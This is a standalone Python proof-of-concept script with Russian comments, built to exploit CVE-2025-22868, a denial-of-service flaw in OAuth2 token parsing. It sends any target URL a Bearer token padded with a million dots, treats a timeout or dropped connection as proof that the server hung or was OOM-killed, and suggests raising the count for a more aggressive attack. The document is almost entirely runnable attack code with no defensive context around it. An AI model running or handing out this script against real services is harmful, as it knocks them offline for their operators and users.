Загрузка данных


import requests
import sys
import time

def generate_malformed_token(num_dots):
    """
    Генерирует фейковый токен с аномальным количеством точек.
    Начинается с валидного-looking base64 заголовка, затем идут точки.
    """
    # "eyJhbGciOiJIUzI1NiJ9" - это base64 для {"alg":"HS256"}
    header_part = "eyJhbGciOiJIUzI1NiJ9"
    
    # Добавляем миллион точек
    dots = "." * num_dots
    
    # Завершаем фейковым пейлоадом
    payload_part = "fake_payload_data"
    
    return f"{header_part}{dots}{payload_part}"

def test_oauth2_dos(target_url, num_dots=1000000):
    print(f"[*] Инициализация теста CVE-2025-22868...")
    print(f"[*] Генерация payload с {num_dots} точками...")
    
    malicious_token = generate_malformed_token(num_dots)
    print(f"[*] Размер payload: {len(malicious_token) / (1024*1024):.2f} MB")
    
    headers = {
        "Authorization": f"Bearer {malicious_token}",
        "User-Agent": "CVE-2025-22868-PoC/1.0",
        "Accept": "application/json"
    }

    print(f"[*] Отправка запроса на: {target_url}")
    print("[*] Ожидайте ответа (таймаут установлен на 15 секунд)...")
    
    start_time = time.time()
    try:
        # Используем относительно короткий таймаут, так как сервер может зависнуть
        response = requests.get(target_url, headers=headers, timeout=15)
        elapsed_time = time.time() - start_time
        
        print(f"[\u2713] Запрос завершен за {elapsed_time:.2f} сек.")
        print(f"[\u2713] Код ответа сервера: {response.status_code}")
        
        if response.status_code == 500 or response.status_code == 502 or response.status_code == 504:
            print("[!] ВНИМАНИЕ: Сервер вернул ошибку, возможно, обработчик упал при парсинге.")
            
    except requests.exceptions.Timeout:
        print("[!] ЗАПРОС ПРЕВЫСИЛ ТАЙМАУТ.")
        print("[!] Это сильный индикатор того, что сервер завис, пытаясь выделить память для парсинга (DoS).")
    except requests.exceptions.ConnectionError:
        print("[!] ОШИБКА СОЕДИНЕНИЯ.")
        print("[!] Сервер мог быть принудительно завершен (OOMKilled) или сбросил соединение.")
    except Exception as e:
        print(f"[!] Произошла непредвиденная ошибка: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Использование: python3 poc_cve_2025_22868.py <target_url>")
        print("Пример: python3 poc_cve_2025_22868.py https://dex.your-cluster.local/callback")
        sys.exit(1)
        
    target = sys.argv[1]
    # Начинаем с 1 000 000 точек. Для более агрессивного теста можно увеличить до 5 000 000
    test_oauth2_dos(target, num_dots=1000000)